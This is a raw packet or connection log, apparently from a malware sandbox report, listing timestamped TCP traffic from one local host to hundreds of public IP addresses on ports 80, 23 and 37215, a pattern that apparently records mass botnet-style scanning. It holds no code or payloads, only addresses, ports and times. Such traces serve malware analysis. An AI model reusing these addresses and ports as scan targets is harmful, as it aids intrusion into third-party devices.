Dec 3, 2024 22:11:52.384171009 CET	58266	80	192.168.2.23	87.124.13.206
Dec 3, 2024 22:11:52.384356022 CET	57990	80	192.168.2.23	179.139.164.55
Dec 3, 2024 22:11:52.384356022 CET	57990	80	192.168.2.23	179.139.164.55
Dec 3, 2024 22:11:52.384390116 CET	80	45884	151.117.200.130	192.168.2.23
Dec 3, 2024 22:11:52.384428024 CET	45884	80	192.168.2.23	151.117.200.130
Dec 3, 2024 22:11:52.384464979 CET	80	37922	92.13.254.172	192.168.2.23
Dec 3, 2024 22:11:52.384507895 CET	37922	80	192.168.2.23	92.13.254.172
Dec 3, 2024 22:11:52.384681940 CET	58028	80	192.168.2.23	179.139.164.55
Dec 3, 2024 22:11:52.384716988 CET	80	47628	2.111.72.125	192.168.2.23
Dec 3, 2024 22:11:52.384752035 CET	47628	80	192.168.2.23	2.111.72.125
Dec 3, 2024 22:11:52.385077953 CET	37922	80	192.168.2.23	92.13.254.172
Dec 3, 2024 22:11:52.385077953 CET	37922	80	192.168.2.23	92.13.254.172
Dec 3, 2024 22:11:52.385098934 CET	80	41986	13.227.133.150	192.168.2.23
Dec 3, 2024 22:11:52.385107994 CET	80	42296	211.248.1.241	192.168.2.23
Dec 3, 2024 22:11:52.385152102 CET	41986	80	192.168.2.23	13.227.133.150
Dec 3, 2024 22:11:52.385155916 CET	42296	80	192.168.2.23	211.248.1.241
Dec 3, 2024 22:11:52.385338068 CET	80	34860	192.122.106.149	192.168.2.23
Dec 3, 2024 22:11:52.385355949 CET	37960	80	192.168.2.23	92.13.254.172
Dec 3, 2024 22:11:52.385371923 CET	34860	80	192.168.2.23	192.122.106.149
Dec 3, 2024 22:11:52.385584116 CET	80	40158	98.103.8.79	192.168.2.23
Dec 3, 2024 22:11:52.385613918 CET	40158	80	192.168.2.23	98.103.8.79
Dec 3, 2024 22:11:52.404437065 CET	80	53214	65.236.202.115	192.168.2.23
Dec 3, 2024 22:11:52.404476881 CET	80	44822	24.30.197.102	192.168.2.23
Dec 3, 2024 22:11:52.404485941 CET	80	40266	36.128.111.41	192.168.2.23
Dec 3, 2024 22:11:52.404498100 CET	80	53218	113.28.235.30	192.168.2.23
Dec 3, 2024 22:11:52.404503107 CET	53214	80	192.168.2.23	65.236.202.115
Dec 3, 2024 22:11:52.404506922 CET	80	42318	167.115.243.47	192.168.2.23
Dec 3, 2024 22:11:52.404521942 CET	44822	80	192.168.2.23	24.30.197.102
Dec 3, 2024 22:11:52.404534101 CET	40266	80	192.168.2.23	36.128.111.41
Dec 3, 2024 22:11:52.404534101 CET	53218	80	192.168.2.23	113.28.235.30
Dec 3, 2024 22:11:52.404537916 CET	42318	80	192.168.2.23	167.115.243.47
Dec 3, 2024 22:11:52.404575109 CET	53214	80	192.168.2.23	65.236.202.115
Dec 3, 2024 22:11:52.404575109 CET	53214	80	192.168.2.23	65.236.202.115
Dec 3, 2024 22:11:52.404894114 CET	53252	80	192.168.2.23	65.236.202.115
Dec 3, 2024 22:11:52.405319929 CET	44822	80	192.168.2.23	24.30.197.102
Dec 3, 2024 22:11:52.405319929 CET	44822	80	192.168.2.23	24.30.197.102
Dec 3, 2024 22:11:52.405612946 CET	44860	80	192.168.2.23	24.30.197.102
Dec 3, 2024 22:11:52.406025887 CET	40266	80	192.168.2.23	36.128.111.41
Dec 3, 2024 22:11:52.406025887 CET	40266	80	192.168.2.23	36.128.111.41
Dec 3, 2024 22:11:52.406301975 CET	40304	80	192.168.2.23	36.128.111.41
Dec 3, 2024 22:11:52.406697035 CET	53218	80	192.168.2.23	113.28.235.30
Dec 3, 2024 22:11:52.406712055 CET	53218	80	192.168.2.23	113.28.235.30
Dec 3, 2024 22:11:52.406997919 CET	53256	80	192.168.2.23	113.28.235.30
Dec 3, 2024 22:11:52.407361984 CET	42318	80	192.168.2.23	167.115.243.47
Dec 3, 2024 22:11:52.407361984 CET	42318	80	192.168.2.23	167.115.243.47
Dec 3, 2024 22:11:52.407576084 CET	80	39698	35.37.81.75	192.168.2.23
Dec 3, 2024 22:11:52.407690048 CET	42342	80	192.168.2.23	167.115.243.47
Dec 3, 2024 22:11:52.407850981 CET	80	39698	35.37.81.75	192.168.2.23
Dec 3, 2024 22:11:52.407893896 CET	39698	80	192.168.2.23	35.37.81.75
Dec 3, 2024 22:11:52.497391939 CET	23	8163	133.42.10.34	192.168.2.23
Dec 3, 2024 22:11:52.497416019 CET	23	8163	50.59.233.135	192.168.2.23
Dec 3, 2024 22:11:52.497426987 CET	23	8163	39.70.212.68	192.168.2.23
Dec 3, 2024 22:11:52.497443914 CET	23	8163	165.85.6.188	192.168.2.23
Dec 3, 2024 22:11:52.497466087 CET	23	8163	156.149.90.205	192.168.2.23
Dec 3, 2024 22:11:52.497478008 CET	23	8163	223.117.9.253	192.168.2.23
Dec 3, 2024 22:11:52.497489929 CET	23	8163	193.14.238.228	192.168.2.23
Dec 3, 2024 22:11:52.497500896 CET	23	8163	133.46.59.199	192.168.2.23
Dec 3, 2024 22:11:52.497507095 CET	8163	23	192.168.2.23	50.59.233.135
Dec 3, 2024 22:11:52.497513056 CET	23	8163	159.81.203.97	192.168.2.23
Dec 3, 2024 22:11:52.497514963 CET	8163	23	192.168.2.23	133.42.10.34
Dec 3, 2024 22:11:52.497524023 CET	23	8163	72.21.33.4	192.168.2.23
Dec 3, 2024 22:11:52.497529030 CET	8163	23	192.168.2.23	156.149.90.205
Dec 3, 2024 22:11:52.497529030 CET	8163	23	192.168.2.23	39.70.212.68
Dec 3, 2024 22:11:52.497529030 CET	8163	23	192.168.2.23	223.117.9.253
Dec 3, 2024 22:11:52.497536898 CET	8163	23	192.168.2.23	193.14.238.228
Dec 3, 2024 22:11:52.497543097 CET	8163	23	192.168.2.23	165.85.6.188
Dec 3, 2024 22:11:52.497543097 CET	8163	23	192.168.2.23	133.46.59.199
Dec 3, 2024 22:11:52.497543097 CET	8163	23	192.168.2.23	159.81.203.97
Dec 3, 2024 22:11:52.497591972 CET	8163	23	192.168.2.23	72.21.33.4
Dec 3, 2024 22:11:52.501533985 CET	80	34700	123.143.40.243	192.168.2.23
Dec 3, 2024 22:11:52.501717091 CET	80	34738	123.143.40.243	192.168.2.23
Dec 3, 2024 22:11:52.501782894 CET	34738	80	192.168.2.23	123.143.40.243
Dec 3, 2024 22:11:52.501863956 CET	34738	80	192.168.2.23	123.143.40.243
Dec 3, 2024 22:11:52.502150059 CET	80	37190	4.207.41.110	192.168.2.23
Dec 3, 2024 22:11:52.502898932 CET	80	47578	13.196.196.235	192.168.2.23
Dec 3, 2024 22:11:52.503645897 CET	80	54656	93.254.60.25	192.168.2.23
Dec 3, 2024 22:11:52.504528999 CET	80	57990	179.139.164.55	192.168.2.23
Dec 3, 2024 22:11:52.505007029 CET	80	37922	92.13.254.172	192.168.2.23
Dec 3, 2024 22:11:52.528057098 CET	80	53214	65.236.202.115	192.168.2.23
Dec 3, 2024 22:11:52.528094053 CET	80	53252	65.236.202.115	192.168.2.23
Dec 3, 2024 22:11:52.528116941 CET	80	44822	24.30.197.102	192.168.2.23
Dec 3, 2024 22:11:52.528126955 CET	80	44860	24.30.197.102	192.168.2.23
Dec 3, 2024 22:11:52.528162956 CET	53252	80	192.168.2.23	65.236.202.115
Dec 3, 2024 22:11:52.528181076 CET	44860	80	192.168.2.23	24.30.197.102
Dec 3, 2024 22:11:52.528198957 CET	80	40266	36.128.111.41	192.168.2.23
Dec 3, 2024 22:11:52.528264046 CET	53252	80	192.168.2.23	65.236.202.115
Dec 3, 2024 22:11:52.528284073 CET	80	53218	113.28.235.30	192.168.2.23
Dec 3, 2024 22:11:52.528306007 CET	44860	80	192.168.2.23	24.30.197.102
Dec 3, 2024 22:11:52.547692060 CET	80	47578	13.196.196.235	192.168.2.23
Dec 3, 2024 22:11:52.547729969 CET	80	37190	4.207.41.110	192.168.2.23
Dec 3, 2024 22:11:52.547740936 CET	80	34700	123.143.40.243	192.168.2.23
Dec 3, 2024 22:11:52.551692963 CET	80	57990	179.139.164.55	192.168.2.23
Dec 3, 2024 22:11:52.551711082 CET	80	54656	93.254.60.25	192.168.2.23
Dec 3, 2024 22:11:52.567671061 CET	80	44822	24.30.197.102	192.168.2.23
Dec 3, 2024 22:11:52.567692041 CET	80	53214	65.236.202.115	192.168.2.23
Dec 3, 2024 22:11:52.567708015 CET	80	37922	92.13.254.172	192.168.2.23
Dec 3, 2024 22:11:52.571757078 CET	80	42318	167.115.243.47	192.168.2.23
Dec 3, 2024 22:11:52.575613022 CET	80	53218	113.28.235.30	192.168.2.23
Dec 3, 2024 22:11:52.575648069 CET	80	40266	36.128.111.41	192.168.2.23
Dec 3, 2024 22:11:52.615679979 CET	80	42318	167.115.243.47	192.168.2.23
Dec 3, 2024 22:11:52.622494936 CET	80	34738	123.143.40.243	192.168.2.23
Dec 3, 2024 22:11:52.622553110 CET	34738	80	192.168.2.23	123.143.40.243
Dec 3, 2024 22:11:52.648947001 CET	80	53252	65.236.202.115	192.168.2.23
Dec 3, 2024 22:11:52.649043083 CET	53252	80	192.168.2.23	65.236.202.115
Dec 3, 2024 22:11:52.649127007 CET	80	44860	24.30.197.102	192.168.2.23
Dec 3, 2024 22:11:52.649317026 CET	44860	80	192.168.2.23	24.30.197.102
Dec 3, 2024 22:11:52.750713110 CET	42516	80	192.168.2.23	109.202.202.202
Dec 3, 2024 22:11:52.953233957 CET	80	34016	121.127.51.127	192.168.2.23
Dec 3, 2024 22:11:52.953349113 CET	34016	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:53.006689072 CET	39918	37215	192.168.2.23	156.37.11.97
Dec 3, 2024 22:11:53.006690979 CET	40116	37215	192.168.2.23	156.124.60.241
Dec 3, 2024 22:11:53.006690979 CET	36106	37215	192.168.2.23	156.86.224.106
Dec 3, 2024 22:11:53.006690979 CET	49640	37215	192.168.2.23	41.152.245.211
Dec 3, 2024 22:11:53.006700039 CET	59654	37215	192.168.2.23	156.214.207.66
Dec 3, 2024 22:11:53.006701946 CET	57150	37215	192.168.2.23	197.115.231.209
Dec 3, 2024 22:11:53.006700039 CET	55898	37215	192.168.2.23	197.102.76.136
Dec 3, 2024 22:11:53.006740093 CET	41286	37215	192.168.2.23	197.138.48.81
Dec 3, 2024 22:11:53.006740093 CET	59548	37215	192.168.2.23	197.120.15.57
Dec 3, 2024 22:11:53.006800890 CET	34314	37215	192.168.2.23	197.194.225.14
Dec 3, 2024 22:11:53.038690090 CET	54892	37215	192.168.2.23	197.55.121.154
Dec 3, 2024 22:11:53.038697958 CET	47878	37215	192.168.2.23	156.162.252.29
Dec 3, 2024 22:11:53.038736105 CET	33316	37215	192.168.2.23	156.188.165.91
Dec 3, 2024 22:11:53.038736105 CET	36238	37215	192.168.2.23	156.114.213.59
Dec 3, 2024 22:11:53.038736105 CET	37818	37215	192.168.2.23	156.64.61.35
Dec 3, 2024 22:11:53.038743973 CET	46270	37215	192.168.2.23	41.4.101.209
Dec 3, 2024 22:11:53.038743973 CET	48390	37215	192.168.2.23	197.149.109.250
Dec 3, 2024 22:11:53.038750887 CET	55190	37215	192.168.2.23	197.132.47.59
Dec 3, 2024 22:11:53.038752079 CET	35626	37215	192.168.2.23	156.183.41.159
Dec 3, 2024 22:11:53.038753986 CET	35230	37215	192.168.2.23	41.97.159.163
Dec 3, 2024 22:11:53.038758039 CET	39692	37215	192.168.2.23	41.80.180.178
Dec 3, 2024 22:11:53.038764954 CET	52672	37215	192.168.2.23	197.223.193.153
Dec 3, 2024 22:11:53.038764954 CET	56720	37215	192.168.2.23	197.100.146.120
Dec 3, 2024 22:11:53.038764954 CET	45194	37215	192.168.2.23	197.194.144.225
Dec 3, 2024 22:11:53.038781881 CET	41114	37215	192.168.2.23	156.47.36.125
Dec 3, 2024 22:11:53.038781881 CET	56104	37215	192.168.2.23	156.109.62.186
Dec 3, 2024 22:11:53.038781881 CET	33738	37215	192.168.2.23	156.210.68.86
Dec 3, 2024 22:11:53.038781881 CET	47312	37215	192.168.2.23	41.184.3.254
Dec 3, 2024 22:11:53.038788080 CET	34930	37215	192.168.2.23	41.255.20.86
Dec 3, 2024 22:11:53.038805008 CET	42458	37215	192.168.2.23	156.35.235.116
Dec 3, 2024 22:11:53.038805008 CET	40972	37215	192.168.2.23	41.116.28.129
Dec 3, 2024 22:11:53.038808107 CET	57124	37215	192.168.2.23	41.135.11.62
Dec 3, 2024 22:11:53.038808107 CET	33946	37215	192.168.2.23	156.0.99.185
Dec 3, 2024 22:11:53.038819075 CET	53488	37215	192.168.2.23	197.205.232.108
Dec 3, 2024 22:11:53.038821936 CET	43368	37215	192.168.2.23	197.203.23.32
Dec 3, 2024 22:11:53.038824081 CET	47336	37215	192.168.2.23	197.251.221.207
Dec 3, 2024 22:11:53.038824081 CET	51350	37215	192.168.2.23	156.143.38.41
Dec 3, 2024 22:11:53.038831949 CET	45514	37215	192.168.2.23	197.59.17.178
Dec 3, 2024 22:11:53.038832903 CET	43208	37215	192.168.2.23	41.244.89.175
Dec 3, 2024 22:11:53.038844109 CET	36640	37215	192.168.2.23	156.85.114.140
Dec 3, 2024 22:11:53.038852930 CET	33986	37215	192.168.2.23	156.63.198.34
Dec 3, 2024 22:11:53.038853884 CET	40818	37215	192.168.2.23	197.137.99.7
Dec 3, 2024 22:11:53.038856030 CET	51678	37215	192.168.2.23	197.216.4.85
Dec 3, 2024 22:11:53.038871050 CET	40582	37215	192.168.2.23	197.90.173.218
Dec 3, 2024 22:11:53.038875103 CET	41206	37215	192.168.2.23	156.20.177.69
Dec 3, 2024 22:11:53.038875103 CET	47528	37215	192.168.2.23	41.250.32.220
Dec 3, 2024 22:11:53.038882017 CET	53650	37215	192.168.2.23	156.12.237.133
Dec 3, 2024 22:11:53.038888931 CET	38036	37215	192.168.2.23	41.86.39.229
Dec 3, 2024 22:11:53.038888931 CET	52042	37215	192.168.2.23	156.9.37.230
Dec 3, 2024 22:11:53.038889885 CET	38890	37215	192.168.2.23	41.210.191.65
Dec 3, 2024 22:11:53.038901091 CET	58434	37215	192.168.2.23	41.44.55.171
Dec 3, 2024 22:11:53.070648909 CET	50122	37215	192.168.2.23	197.12.39.12
Dec 3, 2024 22:11:53.070661068 CET	57274	37215	192.168.2.23	41.182.215.161
Dec 3, 2024 22:11:53.127173901 CET	37215	39918	156.37.11.97	192.168.2.23
Dec 3, 2024 22:11:53.127214909 CET	37215	57150	197.115.231.209	192.168.2.23
Dec 3, 2024 22:11:53.127237082 CET	37215	59654	156.214.207.66	192.168.2.23
Dec 3, 2024 22:11:53.127253056 CET	37215	55898	197.102.76.136	192.168.2.23
Dec 3, 2024 22:11:53.127265930 CET	37215	41286	197.138.48.81	192.168.2.23
Dec 3, 2024 22:11:53.127307892 CET	39918	37215	192.168.2.23	156.37.11.97
Dec 3, 2024 22:11:53.127327919 CET	37215	59548	197.120.15.57	192.168.2.23
Dec 3, 2024 22:11:53.127329111 CET	57150	37215	192.168.2.23	197.115.231.209
Dec 3, 2024 22:11:53.127340078 CET	59654	37215	192.168.2.23	156.214.207.66
Dec 3, 2024 22:11:53.127341986 CET	55898	37215	192.168.2.23	197.102.76.136
Dec 3, 2024 22:11:53.127341986 CET	37215	40116	156.124.60.241	192.168.2.23
Dec 3, 2024 22:11:53.127341986 CET	41286	37215	192.168.2.23	197.138.48.81
Dec 3, 2024 22:11:53.127353907 CET	37215	36106	156.86.224.106	192.168.2.23
Dec 3, 2024 22:11:53.127367020 CET	37215	49640	41.152.245.211	192.168.2.23
Dec 3, 2024 22:11:53.127377987 CET	37215	34314	197.194.225.14	192.168.2.23
Dec 3, 2024 22:11:53.127379894 CET	59548	37215	192.168.2.23	197.120.15.57
Dec 3, 2024 22:11:53.127389908 CET	40116	37215	192.168.2.23	156.124.60.241
Dec 3, 2024 22:11:53.127389908 CET	36106	37215	192.168.2.23	156.86.224.106
Dec 3, 2024 22:11:53.127405882 CET	49640	37215	192.168.2.23	41.152.245.211
Dec 3, 2024 22:11:53.127422094 CET	34314	37215	192.168.2.23	197.194.225.14
Dec 3, 2024 22:11:53.127540112 CET	5603	37215	192.168.2.23	156.103.109.243
Dec 3, 2024 22:11:53.127540112 CET	5603	37215	192.168.2.23	197.149.227.205
Dec 3, 2024 22:11:53.127540112 CET	5603	37215	192.168.2.23	156.238.183.10
Dec 3, 2024 22:11:53.127542973 CET	5603	37215	192.168.2.23	197.209.146.144
Dec 3, 2024 22:11:53.127549887 CET	5603	37215	192.168.2.23	41.87.47.67
Dec 3, 2024 22:11:53.127559900 CET	5603	37215	192.168.2.23	156.11.199.65
Dec 3, 2024 22:11:53.127577066 CET	5603	37215	192.168.2.23	197.69.77.153
Dec 3, 2024 22:11:53.127577066 CET	5603	37215	192.168.2.23	41.104.46.48
Dec 3, 2024 22:11:53.127593040 CET	5603	37215	192.168.2.23	197.202.156.108
Dec 3, 2024 22:11:53.127593994 CET	5603	37215	192.168.2.23	41.141.218.151
Dec 3, 2024 22:11:53.127594948 CET	5603	37215	192.168.2.23	156.100.177.250
Dec 3, 2024 22:11:53.127594948 CET	5603	37215	192.168.2.23	156.223.160.22
Dec 3, 2024 22:11:53.127594948 CET	5603	37215	192.168.2.23	197.232.200.251
Dec 3, 2024 22:11:53.127600908 CET	5603	37215	192.168.2.23	197.133.211.94
Dec 3, 2024 22:11:53.127600908 CET	5603	37215	192.168.2.23	197.124.151.60
Dec 3, 2024 22:11:53.127604008 CET	5603	37215	192.168.2.23	197.73.153.0
Dec 3, 2024 22:11:53.127607107 CET	5603	37215	192.168.2.23	41.70.104.246
Dec 3, 2024 22:11:53.127626896 CET	5603	37215	192.168.2.23	41.104.114.211
Dec 3, 2024 22:11:53.127626896 CET	5603	37215	192.168.2.23	156.159.66.220
Dec 3, 2024 22:11:53.127631903 CET	5603	37215	192.168.2.23	156.184.219.254
Dec 3, 2024 22:11:53.127631903 CET	5603	37215	192.168.2.23	156.150.204.135
Dec 3, 2024 22:11:53.127634048 CET	5603	37215	192.168.2.23	156.197.159.253
Dec 3, 2024 22:11:53.127646923 CET	5603	37215	192.168.2.23	41.13.235.61
Dec 3, 2024 22:11:53.127669096 CET	5603	37215	192.168.2.23	41.74.80.71
Dec 3, 2024 22:11:53.127669096 CET	5603	37215	192.168.2.23	156.82.153.104
Dec 3, 2024 22:11:53.127669096 CET	5603	37215	192.168.2.23	41.170.28.148
Dec 3, 2024 22:11:53.127669096 CET	5603	37215	192.168.2.23	41.249.116.102
Dec 3, 2024 22:11:53.127675056 CET	5603	37215	192.168.2.23	156.249.157.148
Dec 3, 2024 22:11:53.127679110 CET	5603	37215	192.168.2.23	156.180.4.37
Dec 3, 2024 22:11:53.127693892 CET	5603	37215	192.168.2.23	197.58.42.191
Dec 3, 2024 22:11:53.127696037 CET	5603	37215	192.168.2.23	41.103.119.147
Dec 3, 2024 22:11:53.127705097 CET	5603	37215	192.168.2.23	156.70.90.27
Dec 3, 2024 22:11:53.127724886 CET	5603	37215	192.168.2.23	156.138.133.133
Dec 3, 2024 22:11:53.127724886 CET	5603	37215	192.168.2.23	41.67.178.137
Dec 3, 2024 22:11:53.127727032 CET	5603	37215	192.168.2.23	41.124.129.46
Dec 3, 2024 22:11:53.127737999 CET	5603	37215	192.168.2.23	41.221.66.157
Dec 3, 2024 22:11:53.127746105 CET	5603	37215	192.168.2.23	156.195.182.198
Dec 3, 2024 22:11:53.127747059 CET	5603	37215	192.168.2.23	197.236.52.100
Dec 3, 2024 22:11:53.127748966 CET	5603	37215	192.168.2.23	197.166.221.213
Dec 3, 2024 22:11:53.127748966 CET	5603	37215	192.168.2.23	156.83.55.108
Dec 3, 2024 22:11:53.127762079 CET	5603	37215	192.168.2.23	197.208.28.61
Dec 3, 2024 22:11:53.127765894 CET	5603	37215	192.168.2.23	41.131.18.185
Dec 3, 2024 22:11:53.127775908 CET	5603	37215	192.168.2.23	156.239.44.28
Dec 3, 2024 22:11:53.127780914 CET	5603	37215	192.168.2.23	41.96.6.209
Dec 3, 2024 22:11:53.127799988 CET	5603	37215	192.168.2.23	41.79.138.35
Dec 3, 2024 22:11:53.127806902 CET	5603	37215	192.168.2.23	197.37.64.63
Dec 3, 2024 22:11:53.127808094 CET	5603	37215	192.168.2.23	41.8.150.121
Dec 3, 2024 22:11:53.127809048 CET	5603	37215	192.168.2.23	197.148.234.103
Dec 3, 2024 22:11:53.127819061 CET	5603	37215	192.168.2.23	156.245.19.88
Dec 3, 2024 22:11:53.127821922 CET	5603	37215	192.168.2.23	156.33.189.123
Dec 3, 2024 22:11:53.127823114 CET	5603	37215	192.168.2.23	156.180.202.181
Dec 3, 2024 22:11:53.127824068 CET	5603	37215	192.168.2.23	197.252.166.161
Dec 3, 2024 22:11:53.127840042 CET	5603	37215	192.168.2.23	156.242.195.147
Dec 3, 2024 22:11:53.127841949 CET	5603	37215	192.168.2.23	197.201.162.147
Dec 3, 2024 22:11:53.127846003 CET	5603	37215	192.168.2.23	41.234.139.135
Dec 3, 2024 22:11:53.127863884 CET	5603	37215	192.168.2.23	156.9.96.55
Dec 3, 2024 22:11:53.127865076 CET	5603	37215	192.168.2.23	197.191.202.94
Dec 3, 2024 22:11:53.127876997 CET	5603	37215	192.168.2.23	197.1.181.179
Dec 3, 2024 22:11:53.127876997 CET	5603	37215	192.168.2.23	156.163.126.122
Dec 3, 2024 22:11:53.127891064 CET	5603	37215	192.168.2.23	156.128.225.209
Dec 3, 2024 22:11:53.127892017 CET	5603	37215	192.168.2.23	197.238.174.215
Dec 3, 2024 22:11:53.127896070 CET	5603	37215	192.168.2.23	156.122.56.220
Dec 3, 2024 22:11:53.127918005 CET	5603	37215	192.168.2.23	197.30.121.50
Dec 3, 2024 22:11:53.127919912 CET	5603	37215	192.168.2.23	41.169.45.87
Dec 3, 2024 22:11:53.127928972 CET	5603	37215	192.168.2.23	41.222.125.22
Dec 3, 2024 22:11:53.127928972 CET	5603	37215	192.168.2.23	197.243.197.97
Dec 3, 2024 22:11:53.127934933 CET	5603	37215	192.168.2.23	197.99.151.133
Dec 3, 2024 22:11:53.127942085 CET	5603	37215	192.168.2.23	197.218.215.25
Dec 3, 2024 22:11:53.127942085 CET	5603	37215	192.168.2.23	197.129.55.97
Dec 3, 2024 22:11:53.127952099 CET	5603	37215	192.168.2.23	41.240.243.198
Dec 3, 2024 22:11:53.127958059 CET	5603	37215	192.168.2.23	197.184.107.4
Dec 3, 2024 22:11:53.127958059 CET	5603	37215	192.168.2.23	41.255.101.131
Dec 3, 2024 22:11:53.127979994 CET	5603	37215	192.168.2.23	156.170.64.64
Dec 3, 2024 22:11:53.127981901 CET	5603	37215	192.168.2.23	41.33.226.109
Dec 3, 2024 22:11:53.127985954 CET	5603	37215	192.168.2.23	197.33.210.138
Dec 3, 2024 22:11:53.128000021 CET	5603	37215	192.168.2.23	197.200.79.81
Dec 3, 2024 22:11:53.128004074 CET	5603	37215	192.168.2.23	156.185.104.222
Dec 3, 2024 22:11:53.128006935 CET	5603	37215	192.168.2.23	197.70.3.140
Dec 3, 2024 22:11:53.128012896 CET	5603	37215	192.168.2.23	41.28.112.182
Dec 3, 2024 22:11:53.128021002 CET	5603	37215	192.168.2.23	156.50.131.121
Dec 3, 2024 22:11:53.128032923 CET	5603	37215	192.168.2.23	197.164.7.207
Dec 3, 2024 22:11:53.128035069 CET	5603	37215	192.168.2.23	41.1.131.202
Dec 3, 2024 22:11:53.128040075 CET	5603	37215	192.168.2.23	41.197.157.105
Dec 3, 2024 22:11:53.128057003 CET	5603	37215	192.168.2.23	41.112.244.164
Dec 3, 2024 22:11:53.128062010 CET	5603	37215	192.168.2.23	197.220.185.230
Dec 3, 2024 22:11:53.128074884 CET	5603	37215	192.168.2.23	41.206.163.255
Dec 3, 2024 22:11:53.128074884 CET	5603	37215	192.168.2.23	41.226.195.127
Dec 3, 2024 22:11:53.128077030 CET	5603	37215	192.168.2.23	197.137.88.245
Dec 3, 2024 22:11:53.128087997 CET	5603	37215	192.168.2.23	156.41.46.206
Dec 3, 2024 22:11:53.128103018 CET	5603	37215	192.168.2.23	41.205.194.90
Dec 3, 2024 22:11:53.128103018 CET	5603	37215	192.168.2.23	197.94.41.148
Dec 3, 2024 22:11:53.128104925 CET	5603	37215	192.168.2.23	197.28.152.230
Dec 3, 2024 22:11:53.128104925 CET	5603	37215	192.168.2.23	41.252.166.151
Dec 3, 2024 22:11:53.128118992 CET	5603	37215	192.168.2.23	41.50.243.40
Dec 3, 2024 22:11:53.128118992 CET	5603	37215	192.168.2.23	156.127.93.186
Dec 3, 2024 22:11:53.128123045 CET	5603	37215	192.168.2.23	197.175.189.95
Dec 3, 2024 22:11:53.128123045 CET	5603	37215	192.168.2.23	41.17.98.2
Dec 3, 2024 22:11:53.128133059 CET	5603	37215	192.168.2.23	156.234.95.196
Dec 3, 2024 22:11:53.128137112 CET	5603	37215	192.168.2.23	156.239.117.120
Dec 3, 2024 22:11:53.128149986 CET	5603	37215	192.168.2.23	156.193.208.91
Dec 3, 2024 22:11:53.128149986 CET	5603	37215	192.168.2.23	41.8.199.205
Dec 3, 2024 22:11:53.128161907 CET	5603	37215	192.168.2.23	41.14.128.255
Dec 3, 2024 22:11:53.128164053 CET	5603	37215	192.168.2.23	41.71.206.31
Dec 3, 2024 22:11:53.128165960 CET	5603	37215	192.168.2.23	41.154.49.231
Dec 3, 2024 22:11:53.128165960 CET	5603	37215	192.168.2.23	156.51.159.159
Dec 3, 2024 22:11:53.128173113 CET	5603	37215	192.168.2.23	197.133.189.237
Dec 3, 2024 22:11:53.128195047 CET	5603	37215	192.168.2.23	197.161.150.186
Dec 3, 2024 22:11:53.128195047 CET	5603	37215	192.168.2.23	156.62.113.222
Dec 3, 2024 22:11:53.128195047 CET	5603	37215	192.168.2.23	41.107.255.107
Dec 3, 2024 22:11:53.128218889 CET	5603	37215	192.168.2.23	41.103.17.212
Dec 3, 2024 22:11:53.128225088 CET	5603	37215	192.168.2.23	41.29.159.113
Dec 3, 2024 22:11:53.128225088 CET	5603	37215	192.168.2.23	197.153.112.46
Dec 3, 2024 22:11:53.128232002 CET	5603	37215	192.168.2.23	197.10.194.111
Dec 3, 2024 22:11:53.128232956 CET	5603	37215	192.168.2.23	197.129.65.56
Dec 3, 2024 22:11:53.128232956 CET	5603	37215	192.168.2.23	197.185.0.249
Dec 3, 2024 22:11:53.128252029 CET	5603	37215	192.168.2.23	156.248.88.178
Dec 3, 2024 22:11:53.128261089 CET	5603	37215	192.168.2.23	197.240.128.99
Dec 3, 2024 22:11:53.128261089 CET	5603	37215	192.168.2.23	41.228.84.121
Dec 3, 2024 22:11:53.128261089 CET	5603	37215	192.168.2.23	41.230.48.231
Dec 3, 2024 22:11:53.128279924 CET	5603	37215	192.168.2.23	156.152.226.238
Dec 3, 2024 22:11:53.128279924 CET	5603	37215	192.168.2.23	41.73.148.232
Dec 3, 2024 22:11:53.128283024 CET	5603	37215	192.168.2.23	156.230.190.155
Dec 3, 2024 22:11:53.128285885 CET	5603	37215	192.168.2.23	41.215.31.173
Dec 3, 2024 22:11:53.128303051 CET	5603	37215	192.168.2.23	41.146.206.89
Dec 3, 2024 22:11:53.128303051 CET	5603	37215	192.168.2.23	197.220.96.46
Dec 3, 2024 22:11:53.128307104 CET	5603	37215	192.168.2.23	197.177.195.220
Dec 3, 2024 22:11:53.128307104 CET	5603	37215	192.168.2.23	197.236.137.73
Dec 3, 2024 22:11:53.128323078 CET	5603	37215	192.168.2.23	197.229.92.233
Dec 3, 2024 22:11:53.128324032 CET	5603	37215	192.168.2.23	41.221.254.184
Dec 3, 2024 22:11:53.128330946 CET	5603	37215	192.168.2.23	41.119.89.163
Dec 3, 2024 22:11:53.128334999 CET	5603	37215	192.168.2.23	197.183.184.54
Dec 3, 2024 22:11:53.128336906 CET	5603	37215	192.168.2.23	197.8.99.81
Dec 3, 2024 22:11:53.128350973 CET	5603	37215	192.168.2.23	41.74.58.232
Dec 3, 2024 22:11:53.128355980 CET	5603	37215	192.168.2.23	197.106.47.234
Dec 3, 2024 22:11:53.128360987 CET	5603	37215	192.168.2.23	41.43.55.214
Dec 3, 2024 22:11:53.128374100 CET	5603	37215	192.168.2.23	156.195.140.131
Dec 3, 2024 22:11:53.128381968 CET	5603	37215	192.168.2.23	41.222.43.184
Dec 3, 2024 22:11:53.128391981 CET	5603	37215	192.168.2.23	197.17.19.195
Dec 3, 2024 22:11:53.128400087 CET	5603	37215	192.168.2.23	156.104.97.14
Dec 3, 2024 22:11:53.128408909 CET	5603	37215	192.168.2.23	197.153.123.102
Dec 3, 2024 22:11:53.128420115 CET	5603	37215	192.168.2.23	41.117.151.34
Dec 3, 2024 22:11:53.128422976 CET	5603	37215	192.168.2.23	156.195.142.120
Dec 3, 2024 22:11:53.128428936 CET	5603	37215	192.168.2.23	41.19.124.33
Dec 3, 2024 22:11:53.128431082 CET	5603	37215	192.168.2.23	156.82.170.252
Dec 3, 2024 22:11:53.128434896 CET	5603	37215	192.168.2.23	197.21.223.9
Dec 3, 2024 22:11:53.128446102 CET	5603	37215	192.168.2.23	156.120.100.185
Dec 3, 2024 22:11:53.128447056 CET	5603	37215	192.168.2.23	41.144.31.103
Dec 3, 2024 22:11:53.128463030 CET	5603	37215	192.168.2.23	41.67.147.96
Dec 3, 2024 22:11:53.128472090 CET	5603	37215	192.168.2.23	41.25.81.179
Dec 3, 2024 22:11:53.128473043 CET	5603	37215	192.168.2.23	41.140.154.212
Dec 3, 2024 22:11:53.128473997 CET	5603	37215	192.168.2.23	156.3.225.23
Dec 3, 2024 22:11:53.128473997 CET	5603	37215	192.168.2.23	156.85.120.237
Dec 3, 2024 22:11:53.128487110 CET	5603	37215	192.168.2.23	41.21.114.62
